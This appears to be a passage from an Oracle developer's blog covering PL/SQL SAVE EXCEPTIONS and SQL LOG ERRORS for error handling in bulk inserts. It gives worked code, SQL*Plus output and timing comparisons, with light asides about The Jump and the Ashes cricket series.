As you’ve no doubt noticed, the collection we’re using is based on the target table – i.e. ORIGINAL_CAST_MEMBERS. This means that, when you get issues trying to insert a value that’s too large for it’s target column, things will fall over in a heap. To demonstrate…

CREATE TABLE too_big
(
    first_name VARCHAR2(50),
    last_name VARCHAR2(50),
    orig_cast_flag VARCHAR2(50)
)
/

INSERT INTO too_big
    SELECT first_name, last_name, 'Way too big to fit !'
    FROM contestants
/

COMMIT;

Now, using this to populate the table …

DECLARE
    TYPE typ_orig_cast IS TABLE OF original_cast_members%rowtype;
    tbl_orig_cast typ_orig_cast;
    
    e_dml_err EXCEPTION;
    
    PRAGMA EXCEPTION_INIT(e_dml_err, -24381);
    
    --
    -- this cursor should give us 3 error records...
    -- 
    CURSOR c_contestants IS
        SELECT first_name, last_name, orig_cast_flag
        FROM too_big;
    lc_max_errors CONSTANT PLS_INTEGER := 2;
    l_err_count PLS_INTEGER := 0;
    e_max_errors EXCEPTION;
    
    PROCEDURE process_errors_pr IS
        TYPE typ_err IS TABLE OF err$_original_cast_members%ROWTYPE
            INDEX BY PLS_INTEGER;
        tbl_err typ_err;
        tbl_err_empty typ_err;
        l_idx NUMBER;
        PRAGMA AUTONOMOUS_TRANSACTION;
    BEGIN
        l_err_count := l_err_count + SQL%BULK_EXCEPTIONS.COUNT;
        FOR j IN 1..SQL%BULK_EXCEPTIONS.COUNT LOOP
            l_idx := SQL%BULK_EXCEPTIONS(j).error_index;
            tbl_err(j).ora_err_number$ := SQL%BULK_EXCEPTIONS(j).error_code;
            tbl_err(j).ora_err_mesg$ := SQLERRM( SQL%BULK_EXCEPTIONS(j).error_code * -1);
            tbl_err(j).ora_err_rowid$ := NULL; 
            tbl_err(j).ora_err_tag$ := 'HOW DO YOU STOP AGAIN ?';
            tbl_err(j).ora_err_optyp$ := 'I';
            tbl_err(j).first_name := tbl_orig_cast(l_idx).first_name;
            tbl_err(j).last_name := tbl_orig_cast(l_idx).last_name;
            tbl_err(j).orig_cast_flag := tbl_orig_cast(l_idx).orig_cast_flag;
        END LOOP;
        FORALL k IN 1..tbl_err.COUNT 
            INSERT INTO err$_original_cast_members
            VALUES tbl_err(k);
        COMMIT;
        tbl_err := tbl_err_empty;
    END process_errors_pr;

BEGIN
    OPEN c_contestants;
    LOOP
        FETCH c_contestants BULK COLLECT INTO tbl_orig_cast LIMIT 5;
        EXIT WHEN tbl_orig_cast.COUNT = 0;
        BEGIN
            IF l_err_count > lc_max_errors THEN
                RAISE e_max_errors;
            END IF;
            FORALL i IN 1..tbl_orig_cast.COUNT SAVE EXCEPTIONS
                INSERT INTO original_cast_members
                VALUES tbl_orig_cast(i);
        EXCEPTION
            WHEN e_dml_err THEN
                process_errors_pr;
            WHEN e_max_errors THEN
                ROLLBACK;
                RAISE_APPLICATION_ERROR(-20000, 'Maximum number of errors exceeded');
        END;
    END LOOP;
    CLOSE c_contestants;
END;
/   

…we won’t get very far…

SQL> @too_big_se.sql
DECLARE
*
ERROR at line 1:
ORA-06502: PL/SQL: numeric or value error: Bulk Bind: Truncated Bind
ORA-06512: at line 63


SQL> 

To fix this, we really need to make sure that, like the error table, the collection can handle the maximum size of the appropriate data type for each column ( as we’re on 11g this will be 4000 for varchars).

DECLARE
    --
    -- Explicitly create the record so that we can handle errors where the
    -- value to be inserted is too large...
    --
    TYPE rec_orig_cast IS RECORD
    (
        first_name VARCHAR2(4000),
        last_name VARCHAR2(4000),
        orig_cast_flag VARCHAR2(4000)
    );
    TYPE typ_orig_cast IS TABLE OF rec_orig_cast 
        INDEX BY PLS_INTEGER;
    tbl_orig_cast typ_orig_cast;
    
    e_dml_err EXCEPTION;
    
    PRAGMA EXCEPTION_INIT(e_dml_err, -24381);
    
    CURSOR c_contestants IS
        SELECT first_name, last_name, orig_cast_flag
        FROM too_big;

    lc_max_errors CONSTANT PLS_INTEGER := 2;
    l_err_count PLS_INTEGER := 0;
    e_max_errors EXCEPTION;
    
    PROCEDURE process_errors_pr IS
        TYPE typ_err IS TABLE OF err$_original_cast_members%ROWTYPE
            INDEX BY PLS_INTEGER;
        tbl_err typ_err;
        tbl_err_empty typ_err;
        l_idx NUMBER;
        PRAGMA AUTONOMOUS_TRANSACTION;
    BEGIN
        l_err_count := l_err_count + SQL%BULK_EXCEPTIONS.COUNT;
        FOR j IN 1..SQL%BULK_EXCEPTIONS.COUNT LOOP
            l_idx := SQL%BULK_EXCEPTIONS(j).error_index;
            tbl_err(j).ora_err_number$ := SQL%BULK_EXCEPTIONS(j).error_code;
            tbl_err(j).ora_err_mesg$ := SQLERRM( SQL%BULK_EXCEPTIONS(j).error_code * -1);
            tbl_err(j).ora_err_rowid$ := NULL; 
            tbl_err(j).ora_err_tag$ := 'HOW DO YOU STOP AGAIN ?';
            tbl_err(j).ora_err_optyp$ := 'I';
            tbl_err(j).first_name := tbl_orig_cast(l_idx).first_name;
            tbl_err(j).last_name := tbl_orig_cast(l_idx).last_name;
            tbl_err(j).orig_cast_flag := tbl_orig_cast(l_idx).orig_cast_flag;
        END LOOP;
        FORALL k IN 1..tbl_err.COUNT 
            INSERT INTO err$_original_cast_members
            VALUES tbl_err(k);
        COMMIT;
        tbl_err := tbl_err_empty;
    END process_errors_pr;

BEGIN
    OPEN c_contestants;
    LOOP
        FETCH c_contestants BULK COLLECT INTO tbl_orig_cast LIMIT 5;
        EXIT WHEN tbl_orig_cast.COUNT = 0;
        BEGIN
            IF l_err_count > lc_max_errors THEN
                RAISE e_max_errors;
            END IF;
            FORALL i IN 1..tbl_orig_cast.COUNT SAVE EXCEPTIONS
                INSERT INTO original_cast_members
                VALUES tbl_orig_cast(i);
        EXCEPTION
            WHEN e_dml_err THEN
                process_errors_pr;
            WHEN e_max_errors THEN
                ROLLBACK;
                RAISE_APPLICATION_ERROR(-20000, 'Maximum number of errors exceeded');
        END;
    END LOOP;
    CLOSE c_contestants;
END;
/   

Run this and we get the more desirable…

SQL> @too_big2_se.sql
DECLARE
*
ERROR at line 1:
ORA-20000: Maximum number of errors exceeded
ORA-06512: at line 96


SQL> select count(*) from original_cast_members;

  COUNT(*)
----------
	 0

SQL> select count(*) from err$_original_cast_members;

  COUNT(*)
----------
	 5

SQL> select ora_err_mesg$ from err$_original_cast_members;

ORA_ERR_MESG$
--------------------------------------------------------------------------------
ORA-12899: value too large for column  (actual: , maximum: )
ORA-12899: value too large for column  (actual: , maximum: )
ORA-12899: value too large for column  (actual: , maximum: )
ORA-01400: cannot insert NULL into ()
ORA-12899: value too large for column  (actual: , maximum: )

SQL> 

Notice the effect that I mentioned a minute ago ? Although the maximum error count is 2, we’ve actually recorded 5 errors.

Save Exceptions and ROWID

Before running through the following examples, we need to populate the ORIGINAL_CAST_MEMBERS table :

INSERT INTO original_cast_members 
    SELECT * 
    FROM contestants 
    WHERE orig_cast_flag IS NOT NULL 
    AND last_name IS NOT NULL;
/

This should be fairly straightforward. After all, you can use RETURNING INTO with a BULK COLLECT in a FORALL update like this, for example :

set serveroutput on size unlimited
DECLARE
    TYPE typ_orig_cast IS TABLE OF original_cast_members%ROWTYPE
        INDEX BY PLS_INTEGER;
    tbl_orig_cast typ_orig_cast;
    -- array to hold the rowids
    tbl_rowids DBMS_SQL.UROWID_TABLE;
BEGIN
    SELECT first_name, last_name, orig_cast_flag
    BULK COLLECT INTO tbl_orig_cast
    FROM original_cast_members;
    
    FORALL i IN 1..tbl_orig_cast.COUNT SAVE EXCEPTIONS
        UPDATE original_cast_members
        SET orig_cast_flag = 'X'
        WHERE first_name = tbl_orig_cast(i).first_name
        AND last_name = tbl_orig_cast(i).last_name
        -- populate the rowids array with the rowid of the target row
        RETURNING ROWID BULK COLLECT INTO tbl_rowids;
    DBMS_OUTPUT.PUT_LINE('Rows updated : '||tbl_rowids.COUNT);    
    FOR j IN 1..tbl_rowids.COUNT LOOP    
        DBMS_OUTPUT.PUT_LINE('Rowid : '||tbl_rowids(j)||' updated.');
    END LOOP;
END;
/

Run this and we get…

SQL> @rowid_test.sql
Rows updated : 11
Rowid : AAAGT5AAEAAAGQNAAA updated.
Rowid : AAAGT5AAEAAAGQNAAB updated.
Rowid : AAAGT5AAEAAAGQNAAC updated.
Rowid : AAAGT5AAEAAAGQNAAD updated.
Rowid : AAAGT5AAEAAAGQNAAE updated.
Rowid : AAAGT5AAEAAAGQNAAF updated.
Rowid : AAAGT5AAEAAAGQNAAG updated.
Rowid : AAAGT5AAEAAAGQNAAH updated.
Rowid : AAAGT5AAEAAAGQNAAI updated.
Rowid : AAAGT5AAEAAAGQNAAJ updated.
Rowid : AAAGT5AAEAAAGQNAAK updated.

PL/SQL procedure successfully completed.

SQL> 

Well, that seems perfectly OK. However, when we try to use this on a statement where errors occur, we get a bit of a nasty surprise :

set serveroutput on
DECLARE
    TYPE rec_orig_cast IS RECORD
    (
        first_name VARCHAR2(4000),
        last_name VARCHAR2(4000),
        orig_cast_flag VARCHAR2(4000)
    );
    TYPE typ_orig_cast IS TABLE OF rec_orig_cast 
        INDEX BY PLS_INTEGER;
    tbl_orig_cast typ_orig_cast;
    --
    -- Create an array to hold the rowids of the rows updated in the target table
    --
    tbl_rowid DBMS_SQL.UROWID_TABLE;
    tbl_rowid_empty DBMS_SQL.UROWID_TABLE;
    
    e_dml_err EXCEPTION;
        
    PRAGMA EXCEPTION_INIT(e_dml_err, -24381);
    
    CURSOR c_contestants IS
        SELECT first_name, last_name, orig_cast_flag
        FROM too_big;

    lc_max_errors CONSTANT PLS_INTEGER := 2;
    l_err_count PLS_INTEGER := 0;
    e_max_errors EXCEPTION;
    
    PROCEDURE process_errors_pr IS
        TYPE typ_err IS TABLE OF err$_original_cast_members%ROWTYPE
            INDEX BY PLS_INTEGER;
        tbl_err typ_err;
        tbl_err_empty typ_err;
        l_idx NUMBER;
        PRAGMA AUTONOMOUS_TRANSACTION;
    BEGIN
        l_err_count := l_err_count + SQL%BULK_EXCEPTIONS.COUNT;
        FOR j IN 1..SQL%BULK_EXCEPTIONS.COUNT LOOP
            l_idx := SQL%BULK_EXCEPTIONS(j).error_index;
            -- Just checking what's going on at this point...
            DBMS_OUTPUT.PUT_LINE('Error No is : '||l_idx);
            DBMS_OUTPUT.PUT_LINE('First Name is : '||tbl_orig_cast(l_idx).first_name);
            DBMS_OUTPUT.PUT_LINE('Last Name is : '||tbl_orig_cast(l_idx).last_name);
            DBMS_OUTPUT.PUT_LINE('Count of rowids = '||tbl_rowid.COUNT);
            DBMS_OUTPUT.PUT_LINE('Rowid = '||tbl_rowid(l_idx));
            tbl_err(j).ora_err_number$ := SQL%BULK_EXCEPTIONS(j).error_code;
            tbl_err(j).ora_err_mesg$ := SQLERRM( SQL%BULK_EXCEPTIONS(j).error_code * -1);
            -- get the rowid from our collection...
            tbl_err(j).ora_err_rowid$ := tbl_rowid(l_idx); 
            tbl_err(j).ora_err_tag$ := 'WHICH ROWID';
            tbl_err(j).ora_err_optyp$ := 'I';
            tbl_err(j).first_name := tbl_orig_cast(l_idx).first_name;
            tbl_err(j).last_name := tbl_orig_cast(l_idx).last_name;
            tbl_err(j).orig_cast_flag := tbl_orig_cast(l_idx).orig_cast_flag;
        END LOOP;
        FORALL k IN 1..tbl_err.COUNT 
            INSERT INTO err$_original_cast_members
            VALUES tbl_err(k);
        COMMIT;
        tbl_err := tbl_err_empty;
        tbl_rowid := tbl_rowid_empty;
    END process_errors_pr;

BEGIN
    OPEN c_contestants;
    LOOP
        FETCH c_contestants BULK COLLECT INTO tbl_orig_cast LIMIT 5;
        EXIT WHEN tbl_orig_cast.COUNT = 0;
        BEGIN
            IF l_err_count > lc_max_errors THEN
                RAISE e_max_errors;
            END IF;
            FORALL i IN 1..tbl_orig_cast.COUNT SAVE EXCEPTIONS
                UPDATE original_cast_members
                SET orig_cast_flag = tbl_orig_cast(i).orig_cast_flag
                WHERE first_name = tbl_orig_cast(i).first_name
                AND last_name = NVL(tbl_orig_cast(i).last_name, 'X')
                RETURNING ROWID BULK COLLECT INTO tbl_rowid; 
        EXCEPTION
            WHEN e_dml_err THEN
                process_errors_pr;
            WHEN e_max_errors THEN
                ROLLBACK;
                RAISE_APPLICATION_ERROR(-20000, 'Maximum number of errors exceeded');
        END;
    END LOOP;
    CLOSE c_contestants;
END;
/   

Run this and we get…

SQL> @se_rowid.sql
Error No is : 1
First Name is : STEVE
Last Name is : REDGRAVE
Count of rowids = 0
DECLARE
*
ERROR at line 1:
ORA-01403: no data found
ORA-06512: at line 45
ORA-06512: at line 81
ORA-24381: error(s) in array DML


SQL> 

The RETURNING INTO clause only returns a value for a successful update.
Of course, if your cursor is referencing your target table, you can always simply retrieve the rowid as part of the query using the ROWID pseudo-column in the SELECT clause. However, in our case, where we’re the cursor we’re BULK COLLECTing is from another table, this isn’t going to do us much good.

The Summary

As we’ve seen, LOG ERRORS packs an awful lot of functionality into a single line of code.

  • Errors records are saved irrespective of the success of the parent transaction
  • It allows you to specify a tag for a specific transaction to make searching for errors easier
  • As it processes errors row-by-row, it will save the error message generated for a specific row operation
  • It allows you to specify a maximum number of erros to allow before failing the transaction
  • For UPDATE and DELETE statements, it will record the ROWID of the target row

We can replicate most of this functionality in PL/SQL using SAVE EXCEPTIONS. However, the error messages are more generic (and therefore less helpful when you’re trying to debug). Additionally, recording the ROWID of a target row for an errored Update or Delete is problematic using this mechanism.
One other point to note, the PL/SQL approach does require quite a bit more code to implement.
So, which one should you use ?
As usual, the correct answer is “it depends.”
If performance is the primary factor to consider for a given problem, then SAVE EXCEPTIONS has a pretty strong case.
As we’ve seen previously, it’s likely to be significantly faster than LOG ERRORS.
If, on the other hand, a LOG ERRORS solution is fast enough then the functional advantages it offers make it worthy of consideration.

If you’ve got this far, you’re probably of the opinion that you’ve read quite enough fence-sitting and really just want to know what happened in The Jump.
Well, of the four contestants who made it through to the Final…
Steve Redgrave withdrew from the final due to injuries sustained on the show.
Marcus Brigstocke fell in the first event of the final causing him to withdraw through injury.
Of the two left standing – both of whom were not in the original line-up, Joe Mcelderry beat Donal Macintyre in the ski-jumping to claim the coveted Cow Bell trophy ( and possibly earn a no-claims bonus on his holiday insurance).


Filed under: Oracle, PL/SQL, SQL Tagged: autonomous transaction, bulk collect returning into, dbms_errlog.create_error_log, log errors, log errors reject limit, ora_err_mesg$, ora_err_number$, ora_err_optyp$, ora_err_tag$, rowid, save exceptions, sql%bulkexceptions, sqlerrm

PL/SQL is faster than SQL – Just ask Mitch.

Sun, 2014-01-19 09:47

After their comprehensive defeat at Lord’s back in June, some experts were confidently predicting that Australia would be on the wrong-end of a clean sweep in both of the back-to-back Ashes series.
Mitchell Johnson, if he was mentioned at all, was written off by all and sundry. After all, not only did he not hand homework in on time, he couldn’t be relied upon to hit a barn door, let alone a set of stumps.
Fast-forward a few months and you can see that conventional wisdom has held…to the extent that no barn doors have been dented.
Unfortunately, the same cannot be said of English pride.
Mitch and his mates have a bit of time on their hands before Australia visit South Africa next month – that nice Mr Lehman has let the class off homework – so they’re free to assist in contradicting another of those things that “everyone knows” – SQL is always faster than PL/SQL.

What we’re going to cover here (among other things) is :

  • a quick overview of the LOG ERRORS mechanism (Mitch doesn’t do any other speed)
  • a recap of the older PL/SQL SAVE EXCEPTIONS
  • performance comparison between the two with errors present
  • Explore the limits of LIMIT
  • performance comparison when no errors are present

Mitch is standing at the top of his run. A random English batsmen is quaking at the crease, so let’s get started…

Test Data

These are the tables and records that will be used in the examples that follow.
First of all, because I want to vary the number of records being processed throughout these examples, I’ll just put some seed records in a table :

CREATE TABLE seed_records
(
    player_name VARCHAR2(50),
    overs VARCHAR2(5),
    maidens NUMBER(2),
    runs NUMBER(3),
    wkts NUMBER(2),
    best VARCHAR2(6),
    five_fors NUMBER(1)
)
/

INSERT INTO seed_records
(
    player_name, overs, maidens,
    runs, wkts, best, five_fors
)
VALUES
(
    'MG JOHNSON', '188.4', 51, 
    517, 37, '7-40', 3
)
/

INSERT INTO seed_records
(
    player_name, overs, maidens,
    runs, wkts, best,five_fors
)
VALUES
(
    'RJ HARRIS', '166.2', 50, 
    425, 22, '5-25', 1
)
/

INSERT INTO seed_records
(
    player_name, overs, maidens,
    runs, wkts, best,five_fors
)
VALUES
(
    'PM SIDDLE', '156.4', 48, 
    386, 16, '4-57', NULL
)
/

INSERT INTO seed_records
(
    player_name, overs, maidens,
    runs, wkts, best,five_fors
)
VALUES
(
    'NM LYON', '176.2', 42, 
    558, 19, '5-50', 1
)
/ 
COMMIT;

Now for a staging table – where records are initially loaded into the system :

CREATE TABLE ashes_bowling_stg
(
    player_name VARCHAR2(50),
    overs VARCHAR2(5),
    maidens NUMBER(2),
    runs NUMBER(3),
    wkts NUMBER(2),
    best VARCHAR2(6),
    five_fors NUMBER(1)
)
/

Finally, our target application table :

CREATE TABLE ashes_bowling_figures
(
    player_name VARCHAR2(50),
    overs VARCHAR2(5),
    maidens NUMBER(2),
    runs NUMBER(3),
    wkts NUMBER(2),
    best VARCHAR2(6),
    five_fors NUMBER(1) NOT NULL -- ooh, that's new
)
/

Notice that, in the target table, the five_fors column is mandatory. This will ensure that we get some errors during our load.

Multi Record Insert Error Logging – a brief history

Once upon a time, inserting a bunch of records in a single statement was an all-or-nothing deal. If one record caused an error, the entire transaction failed.
If you wanted to get around this, you either had to insert each record one at a time or use something like SQL*Loader.
That was until the SAVE EXCEPTIONS clause was added to the PL/SQL Bulk Collect command in 9i.
Even better, in 10g Release 2, Oracle introduced a method of doing this in straight SQL – the LOG ERRORS clause.
Perfect. After all, as every Oracle Developer knows, doing something in SQL is always quicker than doing it in PL/SQL…

SQL Log Errors

The LOG ERRORS clause causes any error records to be written to an errors table associated with the primary target table.
So, the first step is to create an errors table.
To do this, we can use DBMS_ERRLOG.CREATE_ERROR_LOG.

The procedure accepts the following parameters :

  • dml_table_name – name of the table you want to log errors against
  • err_log_table_name – name of the table to hold the errors. The default is err$_first-25-characters-of-the-dml-table
  • err_log_table_owner
  • err_log_table_space
  • skip_unsupported – LONG and LOB columns are not supported – defaults to FALSE

We’re going to keep things fairly simple and create an error log table for ASHES_BOWLING_FIGURES called ASHES_BOWLING_FIGS_ERR :

BEGIN
    DBMS_ERRLOG.CREATE_ERROR_LOG
    (
        dml_table_name => 'ASHES_BOWLING_FIGURES',
        err_log_table_name => 'ASHES_BOWLING_FIGS_ERR'
    );
END;
/

If we now take a look at our new table, we can see that it has the same columns as the DML table, plus additional columns for error logging purposes :

SQL> desc ashes_bowling_figs_err
 Name					   Null?    Type
 ----------------------------------------- -------- ----------------------------
 ORA_ERR_NUMBER$				    NUMBER
 ORA_ERR_MESG$					    VARCHAR2(2000)
 ORA_ERR_ROWID$ 				    ROWID
 ORA_ERR_OPTYP$ 				    VARCHAR2(2)
 ORA_ERR_TAG$					    VARCHAR2(2000)
 PLAYER_NAME					    VARCHAR2(4000)
 OVERS						    VARCHAR2(4000)
 MAIDENS					    VARCHAR2(4000)
 RUNS						    VARCHAR2(4000)
 WKTS						    VARCHAR2(4000)
 BEST						    VARCHAR2(4000)
 FIVE_FORS					    VARCHAR2(4000)

SQL> 

To demonstrate, we can populate our staging table with the seed records :

INSERT INTO ashes_bowling_stg
SELECT * FROM seed_records;
/
COMMIT;

Now we can insert these four records into our target table, with any errors being written to the error table…

INSERT INTO ashes_bowling_figures
(
    player_name, overs, maidens,
    runs, wkts, best, five_fors
)
SELECT player_name, overs, maidens,
    runs, wkts, best, five_fors
FROM ashes_bowling_stg
LOG ERRORS INTO ashes_bowling_figs_err ('TOO FAST') REJECT LIMIT UNLIMITED
/

The LOG ERRORS clause in this instance contains two optional elements. You don’t need to specify the table name to insert the errors into if it has been created using the DBMS_ERRLOG.CREATE_ERROR_LOG procedure. Also, you don’t need to specify a value to be written to the ORA_ERR_TAG$ column ( in this case, ‘TOO FAST’).

If we run this we get :

3 rows created.

SQL> 

As we can see, only three of the four rows have been inserted into our target table. If we look in the errors table…

SELECT ora_err_mesg$, player_name
FROM ashes_bowling_figs_err
WHERE ora_err_tag$ = 'TOO FAST';

ORA_ERR_MESG$											     PLAYER_NAME
---------------------------------------------------------------------------------------------------- --------------------
ORA-01400: cannot insert NULL into ("MIKE"."ASHES_BOWLING_FIGURES"."FIVE_FORS") 		     PM SIDDLE
PL/SQL SAVE EXCEPTIONS

By contrast, well, the older PL/SQL method of doing this even looks slower :

DECLARE
   
    TYPE typ_bowlers IS TABLE OF ashes_bowling_stg%ROWTYPE;
    tbl_bowlers typ_bowlers;
    
    --
    -- With the SAVE EXCEPTIONS clause, a single ORA-24381 is raised at the
    -- end of the DML action, irrespective of how many rows actually error
    --
    e_dml_err EXCEPTION;
    PRAGMA EXCEPTION_INIT(e_dml_err, -24381);
    
    CURSOR c_stg IS
        SELECT player_name, overs, maidens,
            runs, wkts, best, five_fors    
        FROM ashes_bowling_stg;

    l_idx NUMBER;
    l_err_code NUMBER;
    l_err_msg VARCHAR2(4000);

BEGIN
    OPEN c_stg;
    --
    -- To make sure we limit the amount of PGA we use, we need to process
    -- the results in batches. We'll choose a limit of 100 here because that's
    -- about normal.
    --
    LOOP
        FETCH c_stg BULK COLLECT INTO tbl_bowlers LIMIT 100;
        EXIT WHEN tbl_bowlers.COUNT = 0;
        BEGIN
            FORALL i IN 1..tbl_bowlers.COUNT SAVE EXCEPTIONS
                INSERT INTO ashes_bowling_figures
                VALUES tbl_bowlers(i);
        EXCEPTION
            WHEN e_dml_err THEN
                --
                -- Loop through the error records and insert them into the
                -- error table one-by-one...
                --      
                FOR j IN 1..SQL%BULK_EXCEPTIONS.COUNT LOOP
                    l_idx := SQL%BULK_EXCEPTIONS(j).error_index;
                    l_err_code := SQL%BULK_EXCEPTIONS(j).error_code;
                    l_err_msg := SQLERRM( l_err_code * -1);
                    INSERT INTO ashes_bowling_figs_err
                    (
                        ora_err_number$,
                        ora_err_mesg$,
                        ora_err_optyp$,
                        ora_err_tag$, 
                        player_name,
                        overs,
                        maidens,
                        runs,
                        wkts,
                        best,
                        five_fors
                    )
                    VALUES
                    (
                        l_err_code,
                        l_err_msg,
                        'I',
                        'TRADITIONAL',
                        tbl_bowlers(l_idx).player_name,
                        tbl_bowlers(l_idx).overs,
                        tbl_bowlers(l_idx).maidens,
                        tbl_bowlers(l_idx).runs,
                        tbl_bowlers(l_idx).wkts,
                        tbl_bowlers(l_idx).best,
                        tbl_bowlers(l_idx).five_fors
                    );
                END LOOP;
        END;
    END LOOP;
    CLOSE c_stg;
END;
/   

We’re using the same error table as we created for the LOG ERRORS example and the functionality is more-or-less the same.
The one difference is that the error message you get using the PL/SQL approach is a bit less helpful as SQLERRM is required to lookup the standard error message for the given error code :

SELECT ora_err_mesg$, player_name
FROM ashes_bowling_figs_err
WHERE ora_err_tag$ = 'TRADITIONAL'
/

ORA_ERR_MESG$											     PLAYER_NAME
---------------------------------------------------------------------------------------------------- --------------------
ORA-01400: cannot insert NULL into ()								     PM SIDDLE

Just for fun, let’s do a comparison on a more substantial run.

Performance Comparison – 40000 records

For these comparisons, I’m running on Oracle 11g R2 XE 64-bit.
The machine I’m running on has 8GB of physical RAM.
Before each run the following steps are taken :

  1. The staging, target and error tables are truncated
  2. The staging table is re-populated with the number of records required for the run
  3. The database is bounced between runs to prevent the results being skewed by anything lying around in the cache

As this example is supposed to mimic a batch run, I’ve just recorded the first execution time for each load.
In order to do some more in-depth analysis, each of the sessions is traced.

The truncation commands are saved in the script teardown.sql :

TRUNCATE TABLE ashes_bowling_figs_err
/

TRUNCATE TABLE ashes_bowling_figures
/

TRUNCATE TABLE ashes_bowling_stg
/

To re-populate the staging table, I’m using the following script – pop_staging_tab.sql :

accept recs_reqd prompt 'Enter number of records required : '
DECLARE
    l_iterations NUMBER;
BEGIN
    l_iterations := TO_NUMBER('&recs_reqd')/4; -- set iterations for required number of records
    FOR i IN 1..l_iterations
    LOOP
        INSERT INTO ashes_bowling_stg
        SELECT * FROM seed_records;
        --
        -- Commit every 10000 rows
        --
        IF MOD(i, 100000) = 0 THEN
            COMMIT;
        END IF;
    END LOOP;
END;
/

Setting up for 40000 records then…

SQL> @teardown.sql

Table truncated.


Table truncated.


Table truncated.

SQL> @pop_staging_tab.sql
Enter number of records required : 40000
old   4:     l_iterations := TO_NUMBER('&recs_reqd')/4; -- set iterations for required number of records
new   4:     l_iterations := TO_NUMBER('40000')/4; -- set iterations for required number of records

PL/SQL procedure successfully completed.

SQL> select count(*) from ashes_bowling_stg;

  COUNT(*)
----------
     40000

SQL> 

Next, we bounce the database.
When it comes back, we need to trace the session :

ALTER SESSION SET TRACEFILE_IDENTIFIER='old_way_1';
BEGIN
    DBMS_MONITOR.SESSION_TRACE_ENABLE(null,null, true, true, 'FIRST_EXECUTION');
END;
/

Now we find the tracefile location :

SELECT value
FROM v$diag_info
WHERE name = 'Default Trace File'
/

This will make it easier for us to identify the correct file should we feel the need to use tkprof.

The PL/SQL Approach

Running the script then (saved as old_way_limit_errtab.sql) …

SQL> @old_way_limit_errtab.sql

PL/SQL procedure successfully completed.

Elapsed: 00:00:03.31
SQL> select count(*) from ashes_bowling_figures;

  COUNT(*)
----------
     30000

SQL> select count(*) from ashes_bowling_figs_err;

  COUNT(*)
----------
     10000

SQL> BEGIN
  2      DBMS_MONITOR.SESSION_TRACE_DISABLE;
  3  END;
  4  /

PL/SQL procedure successfully completed.

SQL> 
The SQL Approach

Next, we repeat the setup steps, bounce the database, and run the SQL script…

SQL> @load_bowlers_le.sql

30000 rows created.

Elapsed: 00:00:05.47

Commit complete.

Elapsed: 00:00:00.01
SQL> select count(*) from ashes_bowling_figures;

  COUNT(*)
----------
     30000

Elapsed: 00:00:00.02
SQL> select count(*) from ashes_bowling_figs_err;

  COUNT(*)
----------
     10000

Elapsed: 00:00:00.00
SQL> 

That’s a bit of a surprise. The SQL script took 5.47 seconds, over two seconds longer than the PL/SQL approach.
Let’s take a look at tkprof…

tkprof XE_ora_4978_sql_way.trc sql_way.prf explain=uid/pwd@db sys=no

Looking through the trace, the interesting bit is the insert into the error table…


INSERT INTO "ASHES_BOWLING_FIGS_ERR" (ORA_ERR_NUMBER$, ORA_ERR_MESG$, 
  ORA_ERR_ROWID$, ORA_ERR_OPTYP$, ORA_ERR_TAG$, "PLAYER_NAME", "OVERS", 
  "MAIDENS", "RUNS", "WKTS", "BEST", "FIVE_FORS") 
VALUES
 (:1, :2, :3, :4, :5, :6, :7, :8, :9, :10, :11, :12)


call     count       cpu    elapsed       disk      query    current        rows
------- ------  -------- ---------- ---------- ---------- ----------  ----------
Parse        1      0.00       0.00          0          0          0           0
Execute  10000      3.37       3.55          5        460      22183       10000
Fetch        0      0.00       0.00          0          0          0           0
------- ------  -------- ---------- ---------- ---------- ----------  ----------
total    10001      3.37       3.55          5        460      22183       10000

So, this insert was executed 10,000 times, once for each error record. Not exactly the set-based approach we’d expect from a SQL statement.
There is another revealing difference between the two runs, which we’ll come onto in a bit.

Before that though it’s worth looking again at our PL/SQL script.

Using FORALL on SQL%BULK_EXCEPTIONS

At the moment, the error record processing in the PL/SQL script is row-by-row. Wouldn’t it be better if we could somehow get this to run as a FORALL statement ?
Let’s have a look :

set timing on
--
-- Now amended to use a FORALL to populate the error table
--
DECLARE
    TYPE typ_bowlers IS TABLE OF ashes_bowling_stg%ROWTYPE;
    tbl_bowlers typ_bowlers;
    
    e_dml_err EXCEPTION;
    PRAGMA EXCEPTION_INIT(e_dml_err, -24381);
    
    CURSOR c_stg IS
        SELECT player_name, overs, maidens,
            runs, wkts, best, five_fors    
        FROM ashes_bowling_stg;

    --
    -- Array for error handling
    --
    TYPE typ_err IS TABLE OF ashes_bowling_figs_err%ROWTYPE
        INDEX BY PLS_INTEGER;
    tbl_err typ_err;
    tbl_err_empty typ_err;
    l_idx NUMBER;
BEGIN
    OPEN c_stg;
    LOOP
        FETCH c_stg BULK COLLECT INTO tbl_bowlers LIMIT 100;
        EXIT WHEN tbl_bowlers.COUNT = 0;
        BEGIN
            FORALL i IN 1..tbl_bowlers.COUNT SAVE EXCEPTIONS
                INSERT INTO ashes_bowling_figures
                VALUES tbl_bowlers(i);
        EXCEPTION
            WHEN e_dml_err THEN
                FOR j IN 1..SQL%BULK_EXCEPTIONS.COUNT LOOP
                    --
                    -- Loop through and populate the error array
                    --
                    l_idx := SQL%BULK_EXCEPTIONS(j).error_index;
                    tbl_err(j).ora_err_number$ := SQL%BULK_EXCEPTIONS(j).error_code;
                    tbl_err(j).ora_err_mesg$ := SQLERRM( SQL%BULK_EXCEPTIONS(j).error_code * -1);
                    tbl_err(j).ora_err_rowid$ := NULL; -- need to specify the NULL value in this example
                    tbl_err(j).ora_err_tag$ := 'FORALL_EXCEPTION';
                    tbl_err(j).ora_err_optyp$ := 'I';
                    tbl_err(j).player_name := tbl_bowlers(l_idx).player_name;
                    tbl_err(j).overs := tbl_bowlers(l_idx).overs;
                    tbl_err(j).maidens := tbl_bowlers(l_idx).maidens;
                    tbl_err(j).runs := tbl_bowlers(l_idx).runs;
                    tbl_err(j).wkts := tbl_bowlers(l_idx).wkts;
                    tbl_err(j).best := tbl_bowlers(l_idx).best;
                    tbl_err(j).five_fors := tbl_bowlers(l_idx).five_fors;
                END LOOP;
                --
                -- ...and populate the error table in one fell swoop ( per iteration)
                --
                FORALL k IN 1..tbl_err.COUNT 
                    INSERT INTO ashes_bowling_figs_err
                    VALUES tbl_err(k);
                --
                -- Cleardown the error array
                --
                tbl_err := tbl_err_empty;
        END;
    END LOOP;
    CLOSE c_stg;
END;
/   
COMMIT;

Once we’ve setup the test again, bounced the database etc, we can re-execute (still on 40000 records) :

SQL> @old_way_limit_forall.sql

PL/SQL procedure successfully completed.

Elapsed: 00:00:01.10

Commit complete.

Elapsed: 00:00:00.01
SQL> select count(*) from ashes_bowling_figures;

  COUNT(*)
----------
     30000

